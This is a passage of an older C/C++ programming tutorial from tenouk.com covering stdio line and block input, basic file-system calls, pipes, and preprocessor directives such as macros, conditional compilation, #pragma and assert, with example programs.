The getchar() function is equivalent to getc() with stdin as the value of the stream argument.
wint_t getwchar(void)
The getwchar() function is equivalent to getwc() with stdin as the value of the stream argument.
int getchar_unlocked(void)
The getchar_unlocked() function is equivalent to the getchar() function except that it does not
implicitly lock the stream.

Table 9.12: Character oriented input functions

- An example of a function that does input using fgetc, it would normally work just as well using
getc() instead, or using getchar() instead of fgetc(stdin). The code would also work
for the wide character stream functions as well.

C. Line-Oriented Input

- Since many programs interpret input on the basis of lines, it is convenient to have functions to read
a line of text from a stream. Standard C functions for these tasks aren't very safe: null characters
and even (for gets()) long lines can confuse them.

www.tenouk.com Page 31 of 34
- This vulnerability creates exploits through buffer overflows. That is why you see warning
everywhere; you may check your implementation documentation for safer version of those
functions. All these functions are declared in stdio.h.

char * fgets(char *s, int count, FILE *stream)


The fgets() function reads characters from the stream stream up to and including a newline character and
stores them in the string s, adding a null character to mark the end of the string. You must supply count
characters worth of space in s, but the number of characters read is at most count - 1. The extra character space is
used to hold the null character at the end of the string.
If the system is already at end of file when you call fgets, then the contents of the array s are unchanged and a
null pointer is returned. A null pointer is also returned if a read error occurs. Otherwise, the return value is the
pointer s.
Warning: If the input data has a null character, you can't tell. So don't use fgets unless you know the data
cannot contain a null. Don't use it to read files edited by the user because, if the user inserts a null character, you
should either handle it properly or print a clear error message. We recommend using getline instead of
fgets.
wchar_t * fgetws(wchar_t *ws, int count, FILE *stream)
The fgetws() function reads wide characters from the stream stream up to and including a newline character
and stores them in the string ws, adding a null wide character to mark the end of the string. You must supply
count wide characters worth of space in ws, but the number of characters read is at most count - 1. The extra
character space is used to hold the null wide character at the end of the string.
If the system is already at end of file when you call fgetws, then the contents of the array ws are unchanged and
a null pointer is returned. A null pointer is also returned if a read error occurs. Otherwise, the return value is the
pointer ws.
Warning: If the input data has a null wide character (which are null bytes in the input stream), you can't tell. So
don't use fgetws unless you know the data cannot contain a null. Don't use it to read files edited by the user
because, if the user inserts a null character, you should either handle it properly or print a clear error message.
char * gets(char *s)
The function gets() reads characters from the stream stdin up to the next newline character, and stores them
in the string s. The newline character is discarded (note that this differs from the behavior of fgets, which
copies the newline character into the string). If gets encounters a read error or end-of-file, it returns a null
pointer; otherwise it returns s.
Warning: The gets function is very dangerous because it provides no protection against overflowing the string
s. The GNU library includes it for compatibility only. You should always use fgets or getline instead. To
remind you of this, the linker (if using GNU ld) will issue a warning whenever you use gets.

Table 9.13: Line oriented input functions

D. Block Input/Output

- This section describes how to do the input and output operations on blocks of data. You can use
these functions to read and write binary data, as well as to read and write text in fixed size blocks
instead of by characters or lines.
- Binary files are typically used to read and write blocks of data in the same format as is used to
represent the data in a running program.
- In other words, arbitrary blocks of memory, not just character or string objects, can be written to a
binary file, and meaningfully read in again by the same program.
- Storing data in binary form is often considerably more efficient than using the formatted I/O
functions.
- Also, for floating-point numbers, the binary form avoids possible loss of precision in the conversion
process. On the other hand, binary files can't be examined or modified easily using many standard
file utilities (such as text editors), and are not portable between different implementations of the
language, or different kinds of computers.
- These functions are declared in stdio.h.

size_t fread(void *data, size_t size, size_t count, FILE *stream)


This function reads up to count objects of size size into the array data, from the stream stream. It returns the
number of objects actually read which might be less than count if a read error occurs or the end of the file is
reached. This function returns a value of zero (and doesn't read anything) if either size or count is zero.
If fread encounters end of file in the middle of an object, it returns the number of complete objects read, and
discards the partial object. Therefore, the stream remains at the actual end of the file.
size_t fwrite(const void *data, size_t size, size_t count, FILE *stream)
This function writes up to count objects of size size from the array data, to the stream stream. The return value
is normally count, if the call succeeds. Any other value indicates some sort of error, such as running out of
space.

www.tenouk.com Page 32 of 34
Table 9.14: Block oriented I/O functions

E. Some File System Interfaces

E.1 Deleting Files

- You can delete a file with unlink() or remove().


- Deletion actually deletes a file name. If this is the file's only name, then the file is deleted as well. If
the file has other remaining names, it remains accessible under those names.

int rmdir(const char *filename)


The rmdir() function deletes a directory. The directory must be empty before it can be removed; in other
words, it can only contain entries for . and ... In most other respects, rmdir() behaves like unlink().
int remove(const char *filename)
This is the ISO C function to remove a file. It works like unlink() for files and like rmdir() for
directories. remove() is declared in stdio.h.

Table 9.15: Remove directory and file functions

- The rename() function is used to change a file's name.

int rename(const char *oldname, const char *newname)


The rename() function renames the file oldname to newname. The file formerly accessible under the name
oldname is afterwards accessible as newname instead. (If the file had any other names aside from oldname, it
continues to have those names.)
The directory containing the name newname must be on the same file system as the directory containing the name
oldname.
One special case for rename is when oldname and newname are two names for the same file. The consistent way
to handle this case is to delete oldname. However, in this case POSIX requires that rename do nothing and report
success--which is inconsistent. We don't know what your operating system will do.
If oldname is not a directory, then any existing file named newname is removed during the renaming operation.
However, if newname is the name of a directory, rename fails in this case.
If oldname is a directory, then either newname must not exist or it must name a directory that is empty. In the latter
case, the existing directory named newname is deleted first. The name newname must not specify a subdirectory of
the directory oldname which is being renamed.
One useful feature of rename is that the meaning of newname changes "atomically" from any previously existing
file by that name to its new meaning (i.e. the file that was called oldname). There is no instant at which newname is
non-existent "in between" the old meaning and the new meaning. If there is a system crash during the operation, it is
possible for both names to still exist; but newname will always be intact if it exists at all.

Table 9.16: Rename function

E.2 Creating Directories

- Directories are created with the mkdir function. There is also a shell command mkdir which
does the same thing.

int mkdir(const char *filename, mode_t mode)


The mkdir() function creates a new, empty directory with name filename.
The argument mode specifies the file permissions for the new directory file.

Table 9.17: Create directory function

F. Pipes and FIFOs

- A pipe is a mechanism for interprocess communication; data written to the pipe by one process
can be read by another process. The data is handled in a first-in, first-out (FIFO) order. The pipe has
no name; it is created for one use and both ends must be inherited from the single process which
created the pipe.
- A FIFO special file is similar to a pipe, but instead of being an anonymous, temporary
connection, a FIFO has a name or names like any other file. Processes open the FIFO by name in
order to communicate through it.

www.tenouk.com Page 33 of 34
- A pipe or FIFO has to be open at both ends simultaneously. If you read from a pipe or FIFO file
that doesn't have any processes writing to it (perhaps because they have all closed the file, or
exited), the read returns end-of-file.
- Writing to a pipe or FIFO that doesn't have a reading process is treated as an error condition; it
generates a SIGPIPE signal, and fails with error code EPIPE if the signal is handled or blocked.
- Neither pipes nor FIFO special files allow file positioning. Both reading and writing operations
happen sequentially; reading from the beginning of the file and writing at the end.

--------------------------------o0o-------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.


2. Wide character/Unicode is discussed HERE and the implementation using Microsoft C is discussed
HERE.
3. Implementation specific information for Microsoft can be found HERE (CRT) and HERE (Win32).

www.tenouk.com Page 34 of 34
MODULE 10
PREPROCESSOR DIRECTIVES

My Training Period: hours

Abilities

▪ Able to understand and use #include.


▪ Able to understand and use #define.
▪ Able to understand and use macros and inline functions.
▪ Able to understand and use the conditional compilation – #if, #endif, #ifdef, #else,
#ifndef and #undef.
▪ Able to understand and use #error, #pragma, # and ## operators and #line.
▪ Able to display error messages during conditional compilation.
▪ Able to understand and use assertions.

10.1 Introduction

- For C/C++ preprocessor, preprocessing occurs before a program is compiled. A complete process
involved during the preprocessing, compiling and linking can be read in Module W.
- Some possible actions are:

▪ Inclusion of other files in the file being compiled.


▪ Definition of symbolic constants and macros.
▪ Conditional compilation of program code or code segment.
▪ Conditional execution of preprocessor directives.

- All preprocessor directives begin with #, and only white space characters may appear before a
preprocessor directive on a line.

10.2 The #include Preprocessor Directive

- The #include directive causes copy of a specified file to be included in place of the directive. The
two forms of the #include directive are:

//searches for header files and replaces this directive


//with the entire contents of the header file here
#include <header_file>

- Or

#include "header_file"

e.g. #include <stdio.h>


#include "myheader.h"

- If the file name is enclosed in double quotes, the preprocessor searches in the same directory (local) as
the source file being compiled for the file to be included, if not found then looks in the subdirectory
associated with standard header files as specified using angle bracket.
- This method is normally used to include user or programmer-defined header files.
- If the file name is enclosed in angle brackets (< and >), it is used for standard library header files, the
search is performed in an implementation dependent manner, normally through designated directories
such as C:\BC5\INCLUDE for Borland C++ (default installation) or directories set in the
programming (compiler) environment, project or configuration. You have to check your compiler
documentation. Compilers normally put the standard header files under the INCLUDE directory or
subdirectory.
- The #include directive is normally used to include standard library such as stdio.h and
iostream or user defined header files. It also used with programs consisting of several source files
that are to be compiled together. These files should have common declaration, such as functions,
classes etc, that many different source files depend on those common declarations.
- A header file containing declarations common to the separate program files is often created and
included in the file using this directive. Examples of such common declarations are structure

www.tenouk.com Page 1 of 17
(struct) and union (union) declarations, enumerations (enum), classes, function prototypes, types
etc.
- Other variation used in UNIX system is by providing the relative path as follows:

#include "/usr/local/include/test.h"

- This means search for file in the indicated directory, if not found then look in the subdirectory
associated with the standard header file.

#include "sys/test1.h"

- This means, search for this file in the sys subdirectory under the subdirectory associated with the
standard header file.
- Remember that from Module 9, '. ' (dot) means current directory and '..' (dot dot) means parent
directory.

10.3 The #define Preprocessor Directive: Symbolic Constants

- The #define directive creates symbolic constants, constants that represented as symbols and macros
(operations defined as symbols). The format is as follows:

#define identifier replacement-text

- When this line appears in a file, all subsequent occurrences of identifier will be replaced by the
replacement-text automatically before the program is compiled. For example:

#define PI 3.14159

- Replaces all subsequent occurrences of the symbolic constant PI with the numeric constant
3.14159. const type qualifier also can be used to declare numeric constant that will be discussed in
another Module.
- Symbolic constants enable the programmer to create a name for a constant and use the name
throughout the program, the advantage is, it only need to be modified once in the #define directive,
and when the program is recompiled, all occurrences of the constant in the program will be modified
automatically, making writing the source code easier in big programs.
- That means everything, to the right of the symbolic constant name replaces the symbolic constant.
- Other #define examples include the stringizing as shown below:

#define STR "This is a simple string"


#define NIL ""
#define GETSTDLIB #include <stdlib.h>
#define HEADER "myheader.h"

10.4 The #define Preprocessor Directive: Macros

- A macro is an operation defined in #define preprocessor directive.


- As with symbolic constants, the macro-identifier is replaced in the program with the replacement-text
before the program is compiled. Macros may be defined with or without arguments.
- A macro without arguments is processed like a symbolic constant while a macro with arguments, the
arguments are substituted in the replacement text, then the macro is expanded, that is the replacement-
text replaces the identifier and argument list in the program.
- Consider the following macro definition with one argument for an area of a circle:

#define CIR_AREA(x) PI*(x)*(x)

- Wherever CIR_AREA(x) appears in the file, the value of x is substituted for x in the replacement
text, the symbolic constant PI is replaced by its value (defined previously), and the macro is expanded
in the program. For example, the following statement:

area = CIR_AREA(4);

- Is expanded to

www.tenouk.com Page 2 of 17
area = 3.14159*(4)*(4);

- Since the expression consists only of constants, at compile time, the value of the expression is
evaluated and assigned to variable area.
- The parentheses around each x in the replacement text, force the proper order of evaluation when the
macro argument is an expression. For example, the following statement:

area = CIR_AREA(y + 2);

- Is expanded to:

area = 3.14159*(y + 2)*(y + 2);

- This evaluates correctly because the parentheses force the proper order of evaluation. If the
parentheses are omitted, the macro expression is:

area = 3.14159*y+2*y+2;

- Which evaluates incorrectly (following the operator precedence rules) as:

area = (3.14159 * y) + (2 * y) + 2;

- Because of the operator precedence rules, you have to be careful about this.
- Macro CIR_AREA could be defined as a function. Let say, name it a circleArea:

double circleArea(double x)
{
return (3.14159*x*x);
}

- Performs the same calculation as macro CIR_AREA, but here the overhead of a function call is
associated with circleArea function.
- The advantages of macro CIR_AREA are that macros insert code directly in the program, avoiding
function overhead, and the program remains readable because the CIR_AREA calculation is defined
separately and named meaningfully. The disadvantage is that its argument is evaluated twice.
- Another better alternative is using the inline function, by adding the inline keyword.

inline double circleArea(double x)


{
return (3.14159 * x * x);
}

- The following is a macro definition with 2 arguments for the area of a rectangle:

#define RECTANGLE_AREA(p, q) (p)*(q)

- Wherever RECTANGLE_AREA(p, q) appears in the program, the values of p and q are substituted
in the macro replacement text, and the macro is expanded in place of the macro name. For example,
the statement:

rectArea = RECTANGLE_AREA(a+4, b+7);

- Will be expanded to:

rectArea = (a+4)*(b+7);

- The value of the expression is evaluated and assigned to variable rectArea.


- If the replacement text for a macro or symbolic constant is longer than the remainder of the line, a
backslash (\) must be placed at the end of the line indicating that the replacement text continues on the
next line. For example:

#define RECTANGLE_AREA(p, q) \

www.tenouk.com Page 3 of 17
(p)*(q)

- Symbolic constants and macros can be discarded by using the #undef preprocessor directive.
Directive #undef un-defines a symbolic constant or macro name.
- The scope of a symbolic constant or macro is from its definition until it is undefined with #undef, or
until the end of the file. Once undefined, a name can be redefined with #define.
- Functions in the standard library sometimes are defined as macros based on other library functions. For
example, a macro commonly defined in the stdio.h header file is:

#define getchar() getc(stdin)

- The macro definition of getchar() uses function getc() to get one character from the standard
input stream. putchar() function of the stdio.h header, and the character handling functions of
the ctype.h header implemented as macros as well.
- A program example.

#include <iostream.h>
#include <stdlib.h>
#define THREETIMES(x) (x)*(x)*(x)
#define CIRAREA(y) (PI)*(y)*(y)
#define REC(z, a) (z)*(a)
#define PI 3.14159

int main(void)
{
float p = 2.5;
float r = 3.5, s, t, u = 1.5, v = 2.5;

cout<<"Power to three of "<<p<<" is "<<THREETIMES(p)<<endl;


cout<<"Circle circumference = 2*PI*r = "<<(2*PI*r)<<endl;

s = CIRAREA(r+p);
cout<<"Circle area = PI*r*r = "<<s<<endl;

t = REC(u, v);
cout<<"Rectangle area = u*v = "<<t<<endl;
system("pause");
return 0;
}

Output:

- In another Module you we will discuss the inline function that is a better construct used in C++
compared to macros.

10.5 Conditional Compilation

- Enable the programmer to control the execution of preprocessor directives, and the compilation of
program code.
- Each of the conditional preprocessor directives evaluates a constant integer expression. Cast
expressions, sizeof() expressions, and enumeration constants cannot be evaluated in preprocessor
directives.
- The conditional preprocessor construct is much like the if selection structure. Consider the following
preprocessor code:

#if !defined(NULL)
#define NULL 0
#endif

www.tenouk.com Page 4 of 17
- These directives determine whether the NULL is defined or not. The expression defined(NULL)
evaluates to 1 if NULL is defined; 0 otherwise. If the result is 0, !defined(NULL) evaluates to 1,
and NULL is defined.
- Otherwise, the #define directive is skipped. Every #if construct ends with #endif. Directive
#ifdef and #ifndef are shorthand for #if defined(name) and #if !defined(name).
- A multiple-part conditional preprocessor construct may be tested using the #elif (the equivalent of
else if in an if structure) and the #else (the equivalent of else in an if structure) directives.
- During program development, programmers often find it helpful to comment out large portions of code
to prevent it from being compiled but if the code contains comments, /* and */ or //, they cannot be
used to accomplish this task.
- Instead, the programmer can use the following preprocessor construct:

#if 0
code prevented from compiling...
#endif

- To enable the code to be compiled, the 0 in the preceding construct is replaced by 1.


- Conditional compilation is commonly used as a debugging aid.
- Another example shown below: instead using the printf() statements directly to print variable
values and to confirm the flow of control, these printf() statements can be enclosed in conditional
preprocessor directives so that the statements are only compiled while the debugging process is not
completed.

#ifdef DEBUG
printf("Variable x = %d\n", x);
#endif

- The code causes a printf() statement to be compiled in the program if the symbolic constant
DEBUG has been defined (#defined DEBUG) before directive #ifdef DEBUG.
- When debugging is completed, the #define directive is removed from the source file, and the
printf() statements inserted for debugging purpose are ignored during compilation. In larger
programs, it may be desirable to define several different symbolic constants that control the conditional
compilation in separate sections of the source file.
- A program example.

#define Module10
#define MyVersion 1.1
#include <iostream.h>
#include <stdlib.h>

int main(void)
{
cout<<"Sample using #define, #ifdef, #ifndef\n";
cout<<" #undef, #else and #endif...\n";
cout<<"-------------------------------------\n";
#ifdef Module10
cout<<"\nModule10 is defined.\n";
#else
cout<<"\nModule10 is not defined.\n";
#endif

#ifndef MyVersion
cout<<"\nMyVersion is not defined\n";
#else
cout<<"\nMyVersion is "<<MyVersion<<endl;
#endif

#ifdef MyRevision
cout<<"\nMy Revision is defined\n"<<endl;
#else
cout<<"\nMyRevision is not defined!\n"<<endl;
#endif

#undef MyVersion
#ifndef MyVersion
cout<<"MyVersion is not defined\n"<<endl;
#else
cout<<"MyVersion is "<<MyVersion<<endl;

www.tenouk.com Page 5 of 17
#endif
system("pause");
return 0;
}

Output:

- If you check the header file definition, the conditional compilation directives heavily used as guard
macro to guard the header files against multiple inclusion or filename redefinition.
- For example, create the following header file named boolean.h and save it in the same folder as
your main() source file that follows. Do not compile and run.

//test the boolean.h header file from


//multiple inclusion or re definition
#ifndef BOOLEAN_H
typedef int boolean; //means literal string 'int' is same as 'boolean'

const boolean FALSE = 0;


const boolean TRUE =1;

#define BOOLEAN_H
#endif

- This file defines the type and constants for the boolean logic if boolean.h has not been defined.
- Then create the following program, compile and run.

//Program using the user defined


//header file, boolean.h
#include <iostream.h>
#include <stdlib.h>
//notice this...
#include "boolean.h"

int main(void)
{
//new type stored in boolean.h...
boolean HappyTime;

HappyTime = TRUE;

//if TRUE = 1, do...


if(HappyTime)
cout<<"I'm happy today lor!!!"<<endl;
//else, FALSE = 0, do...
else
cout<<"What a bad day...today!!!"<<endl;
system("pause");
return 0;
}

Output:

www.tenouk.com Page 6 of 17
- Let say we want to define a vehicle class in header file named vehicle.h. By using the conditional
directives, we can avoid the multiple inclusion of this file when there are multiple #include
<vehicle.h> directives in multiple files in the same program.

#ifndef VEHICLE_H
#define VEHICLE_H
//The file is compiled only when VEHICLE_H is not defined.
//The first time the file is included using #include <vehicle.h>,
//the macro is not defined, then it is immediately defined.
//Next time, if the same inclusion of the vehicle.h or
//by other source file with the same vehicle.h, needs to be
//included in the same program, the macro and conditional directives
//ensure that the file inclusion is skipped…

class vehicle{...};

#endif
//end of the vehicle.h

- The usage of the multiple inclusions of similar header files is discussed in Module 14.

10.6 The #error And #pragma Preprocessor Directive

- The #error directive

#error tokens

- Prints an implementation-dependent message including the tokens specified in the directive.


- The tokens are sequences of characters separated by spaces. For example the following statement
contains 6 tokens.

- In Borland C++, when a #error directive is processed, the tokens in the directive are displayed as an
error message, preprocessing stops, and the program does not compile. For example:

#if (MyVAL != 2 && MyVAL != 3)


#error MyVAL must be defined to either 2 or 3
#endif

- Then, when you compile the following simple program:

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#if MyVAL != 2
#error MyVAL must be defined to 2
#endif

int main()
{
system("pause");
return 0;
}
//No output, error message during the
//compilation

- The following error message should be generated.

Error: test.cpp(7,1):Error directive: MyVAL must be defined to 2

www.tenouk.com Page 7 of 17
- Then correct the error by defining MyVal to 2 as the following program and when you rebuild, it
should be OK.

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#define MyVAL 2
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif

int main()
{
system("pause");
return 0;
}
//No output

- Another simple program example.

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#if MyChar != 'X'


#error The MyChar character is not 'X'
#endif

int main()
{
system("pause");
return 0;
}
//No output, with error message during
//the compilation

- The following error should be generated.

Error: test.cpp(6, 1):Error directive: The MyChar character is not 'X'

- The #pragma directive,

#pragma tokens

- The tokens are a series of characters that gives a specific compiler instruction and arguments, if any
and causes an implementation-defined action. A pragma not recognized by the implementation is
ignored without any error or warning message.
- A pragma is a compiler directive that allows you to provide additional information to the compiler.
This information can change compilation details that are not otherwise under your control. For more
information on #error and #pragma, see the documentation of your compiler.
- Keyword pragma is part of the C++ standard, but the form, content, and meaning of pragma is
different for every compiler.
- This means different compilers will have different pragma directives.
- No pragma are defined by the C++ standard. Code that depends on pragma is not portable. It is
normally used during debugging process.
- For example, Borland #pragma message has two forms:

#pragma message ("text" ["text"["text" ...]])


#pragma message text

- It is used to specify a user-defined message within your program code.


- The first form requires that the text consist of one or more string constants, and the message must be
enclosed in parentheses.
- The second form uses the text following the #pragma for the text of the warning message. With both
forms of the #pragma, any macro references are expanded before the message is displayed.

www.tenouk.com Page 8 of 17
- The following program example will display compiler version of the Borland C++ if compiled with
Borland C++ otherwise will display "This compiler is not Borland C++" message and
other predefined macros.

//#pragma directive...
#include <stdio.h>
#include <stdlib.h>

//displays either "You are compiling using


//version xxx of BC++" (where xxx is the version number)
//or "This compiler is not Borland C++", date, time
//console or not... by using several related
//predefined macro such as __DATE__ etc

#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message time: __TIME__.
#pragma message date: __DATE__.
#pragma message Console: __CONSOLE__.

int main()
{
system("pause");
return 0;
}
//No output

- The following message should be generated if compiled with Borland C++.

- Program example compiled with VC++ / VC++ .Net.

//#pragma directive...
#include <stdio.h>
#include <stdlib.h>

//displays either "You are compiling using


//version xxx of BC++" (where xxx is the version number)
//or "This compiler is not Borland C++", date, time
//console or not... by using several related
//predefined macro such as __DATE__ etc

#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message ("time:" __TIMESTAMP__)
#pragma message ("date:" __DATE__)
#pragma message ("file:" __FILE__)

int main()
{
system("pause");
return 0;
}

www.tenouk.com Page 9 of 17
- Another program example compiled using VC++ / VC++ .Net

//#pragma directives...
#include <stdio.h>

#if _M_IX86 != 500


#pragma message("Non Pentium processor build")
#endif

#if _M_IX86 == 600


#pragma message("but Pentium II above processor build")
#endif

#pragma message("Compiling " __FILE__)


#pragma message("Last modified on " __TIMESTAMP__)

int main()
{
return 0;
}

- The following message should be expected.

- So now, you know how to use the #pragmas. For other #pragmas, please check your compiler
documentations and also the standard of the ISO/IEC C / C++ for any updates.

10.7 The # And ## Operators

- The # and ## preprocessor operators are available in ANSI C. The # operator causes a replacement
text token to be converted to a string surrounded by double quotes as explained before.
- Consider the following macro definition:

#define HELLO(x) printf("Hello, " #x "\n");

- When HELLO(John) appears in a program file, it is expanded to:

printf("Hello, " "John" "\n");

- The string "John" replaces #x in the replacement text. Strings separated by white space are
concatenated during preprocessing, so the above statement is equivalent to:

printf("Hello, John\n");

www.tenouk.com Page 10 of 17
- Note that the # operator must be used in a macro with arguments because the operand of # refers to an
argument of the macro.
- The ## operator concatenates two tokens. Consider the following macro definition,

#define CAT(p, q) p ## q

- When CAT appears in the program, its arguments are concatenated and used to replace the macro. For
example, CAT(O,K) is replaced by OK in the program. The ## operator must have two operands.
- A program example:

#include <stdio.h>
#include <stdlib.h>
#define HELLO(x) printf("Hello, " #x "\n");
#define SHOWFUNC(x) Use ## Func ## x

int main(void)
{
//new concatenated identifier, UseFuncOne
char * SHOWFUNC(One);
//new concatenated identifier, UseFuncTwo
char * SHOWFUNC(Two);

SHOWFUNC(One) = "New name, UseFuncOne";


SHOWFUNC(Two) = "New name, UseFuncTwo";

HELLO(Birch);
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(One));
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(Two));
system("pause");
return 0;
}

Output:

10.8 Line Numbers

- The #line preprocessor directive causes the subsequent source code lines to be renumbered starting
with the specified constant integer value. The directive:

#line 100

- Starts line numbering from 100 beginning with the next source code line. A file name can be included
in the #line directive. The directive:

#line 100 "file123.cpp"

- Indicates that lines are numbered from 100 beginning with the next source code line, and that the name
of the file for purpose of any compiler messages is "file123.cpp".
- The directive is normally used to help make the messages produced by syntax errors and compiler
warnings more meaningful. The line numbers do not appear in the source file.

10.9 Predefined Macros

- There are standard predefined macros as shown in Table 10.1. The identifiers for each of the
predefined macros begin and end with two underscores. These identifiers and the defined identifier
cannot be used in #define or #undef directive.

www.tenouk.com Page 11 of 17
- There are a lot more predefined macros extensions that are non standard, compilers specific, please
check your compiler documentation. The standard macros are available with the same meanings
regardless of the machine or operating system your compiler installed on.

Symbolic Constant Explanation


The date the source file is compiled (a
__DATE__
string of the form "mmm dd yyyy" such
as "Jan 19 1999").
The line number of the current source code
__LINE__
line (an integer constant).
The presumed names of the source file (a
__FILE__
string).
The time the source file is compiled (a
__TIME__
string literal of the form :hh:mm:ss).
The integer constant 1. This is intended to
__STDC__
indicate that the implementation is ANSI C
compliant.

Table 10.1: The predefined macros.

- A program example:

#include <iostream.h>
#include <stdlib.h>

int main(void)
{
cout<<"Let test the free macros, standard and compiler specific..."<<endl;
cout<<"\nPredefined macro __LINE__ : "<<__LINE__<<endl;
cout<<"Predefined macro __FILE__ : "<<__FILE__<<endl;
cout<<"Predefined macro __TIME__ : "<<__TIME__<<endl;
cout<<"Predefined macro __DATE__ : "<<__DATE__<<endl;
cout<<"Some compiler specific __MSDOS__: "<<__MSDOS__<<endl;
cout<<"Some compiler specific __BORLANDC__: "<<__BORLANDC__<<endl;
cout<<"Some compiler specific __BCPLUSPLUS__: "<<__BCPLUSPLUS__<<endl;

system("pause");
return 0;
}

Output:

10.10 Assertions

- This is one of the macro used for simple exception handling.


- The assert() macro, defined in the assert.h header file, tests the value of an expression. If the
value of the expression is 0 (false), then assert prints an error message and calls function abort() (of
the general utilities library – stdlib.h) to terminate program execution.
- This is a useful debugging tool, for example, testing if a variable has a correct value or not. For
example, suppose variable q should never be larger than 100 in a program.
- An assertion may be used to test the value of q and print an error message if the value of q is incorrect.
The following statement would be:

assert(q <= 100);

www.tenouk.com Page 12 of 17
- If q is greater than 100 when the preceding statement is encountered in a program, an error messages
containing the line number and file name is printed, and the program terminates.
- The programmer may then concentrate on this area of the code to find the error. If the symbolic
constant NDEBUG (#define NDEBUG) is defined, that is no debugging, subsequent assertions will be
ignored.
- Thus, when assertions are no longer needed, the line:

#define NDEBUG

- Is inserted in the program file rather than deleting each assertion manually.
- A program example:

#include <stdio.h>
#include <assert.h>
#include <string.h>

void TestString(char *string);

void main()
{
//first test array of char, 10 characters...
//should be OK for the 3 test conditions...
char test1[] = "abcdefghij";
//second test pointer to string, 9 characters...
//should be OK for the 3 test conditions...
char *test2 = "123456789";
//third test array char, empty...
//should fail on the 3rd condition, cannot be empty...
char test3[] = "";

printf("Testing the string #1 \"%s\"\n", test1);


TestString(test1);
printf("Testing the string #2 \"%s\"\n", test2);
TestString(test2);
printf("Testing the string #3 \"%s\"\n", test3);
TestString(test3);
}

void TestString(char * string)


{

//set the test conditions...


//string must more than 8 characters...
assert(strlen(string) > 8);
//string cannot be NULL
assert(string != NULL);
//string cannot be empty....
//test3 should fail here and program abort...
assert(string != '\0');
}

Output:

- You can see from the output, project.cpp is __FILE__ and line 34 is __LINE__ predefined
macros defined in assert.h file as shown in the source file at the end of this Module.
- For this program example, let try invoking the Borland® C++ Turbo Debugger. The steps are:
- Click Tool menu → Select Turbo Debugger sub menu → Press Alt + R (Run menu) →
Select Trace Into or press F7 key continuously until program terminate (line by line code
execution) → When small program dialog box appears, press Enter/Return key (OK) → Finally,
press Alt+F5 to see the output window.

www.tenouk.com Page 13 of 17
Figure 10.1: Borland Turbo® Debugger window.

- For debugging using Microsoft Visual C++ or .Net read HERE. For Linux using gdb, read HERE.
- Another program example.

//assert macro and DEBUG, NDEBUG


//NDEBUG will disable assert().
//DEBUG will enable assert().
#define DEBUG
#include <stdlib.h>
#include <iostream.h>
#include <assert.h>

int main()
{
int x, y;

//Tell user if NDEBUG is defined and do assert.


#if defined(NDEBUG)
cout<<"NDEBUG is defined. Assert disabled,\n";
#else
cout<<"NDEBUG is not defined. Assert enabled.\n";
#endif

//prompt user some test data...


cout<<"Insert two integers: ";
cin>>x>>y;
cout<<"Do the assert(x < y)\n";

//if x < y, it is OK, else this program will terminate...


assert(x < y);
if(x<y)
{
cout<<"Assertion not invoked because "<<x<<" < "<<y<<endl;
cout<<"Try key in x > y, assertion will be invoked!"<<endl;
}
else
cout<<"Assertion invoked, program terminated!"<<endl;
system("pause");
return 0;
}

Normal Output:

www.tenouk.com Page 14 of 17
Abnormal program termination output:

- If you use Microsoft Visual Studio® 6.0, the output should be more informative with dialog box
displayed whether you want to abort, retry or ignore :o) as shown below.

- And the output screen tries to tell you something as shown below.

- The following program example compiled using g++. For the gdb debugger, please read Module000.

////////testassert.cpp/////////
//DEBUG will enable assert().
#define DEBUG
#include <iostream>
#include <cassert>
using namespace std;

int main()
{
int x, y;

//Tell user if NDEBUG is defined and do assert.


#if defined(NDEBUG)

www.tenouk.com Page 15 of 17
cout<<"NDEBUG is defined. Assert disabled,\n";
#else
cout<<"NDEBUG is not defined. Assert enabled.\n";
#endif

//prompt user some test data...


cout<<"Insert two integers: ";
cin>>x>>y;
cout<<"Do the assert(x < y)\n";

//if x < y, it is OK, else this program will terminate...


assert(x < y);
if(x<y)
{
cout<<"Assertion not invoked because "<<x<<" < "<<y<<endl;
cout<<"Try key in x > y, assertion will be invoked!"<<endl;
}
else
cout<<"Assertion invoked, program terminated!"<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ testassert.cpp -o testassert


[bodo@bakawali ~]$ ./testassert

NDEBUG is not defined. Assert enabled.


Insert two integers: 30 20
Do the assert(x < y)
testassert: testassert.cpp:24: int main(): Assertion `x < y' failed.
Aborted

[bodo@bakawali ~]$ ./testassert

NDEBUG is not defined. Assert enabled.


Insert two integers: 20 30
Do the assert(x < y)
Assertion not invoked because 20 < 30
Try key in x > y, assertion will be invoked!

----------------------------------------------------Note--------------------------------------------------

Program Sample

- The following program sample is the assert.h header file. You can see that many preprocessor
directives being used here.

/* assert.h
assert macro
*/

/*
* C/C++ Run Time Library - Version 8.0
*
* Copyright (c) 1987, 1997 by Borland International
* All Rights Reserved.
*
*/
/* $Revision: 8.1 $ */
#if !defined(___DEFS_H)
#include <_defs.h>
#endif

#if !defined(RC_INVOKED)

#if defined(__STDC__)
#pragma warn -nak
#endif
#endif /* !RC_INVOKED */
#if !defined(__FLAT__)
#ifdef __cplusplus
extern "C" {
#endif

void _Cdecl _FARFUNC __assertfail( char _FAR *__msg,


char _FAR *__cond,
char _FAR *__file,
int __line);

www.tenouk.com Page 16 of 17
#ifdef __cplusplus
}
#endif
#undef assert
#ifdef NDEBUG
# define assert(p) ((void)0)
#else
# if defined(_Windows) && !defined(__DPMI16__)
# define _ENDL
# else
# define _ENDL "\n"
# endif
# define assert(p) ((p) ? (void)0 : (void) __assertfail( \
"Assertion failed: %s, file %s, line %d" _ENDL, \
#p, __FILE__, __LINE__ ) )
#endif

#else /* defined __FLAT__ */


#ifdef __cplusplus
extern "C" {
#endif

void _RTLENTRY _EXPFUNC _assert(char * __cond, char * __file, int __line);

/* Obsolete interface: __msg should be "Assertion failed: %s, file %s, line %d"
*/
void _RTLENTRY _EXPFUNC __assertfail(char * __msg, char * __cond,
char * __file, int __line);

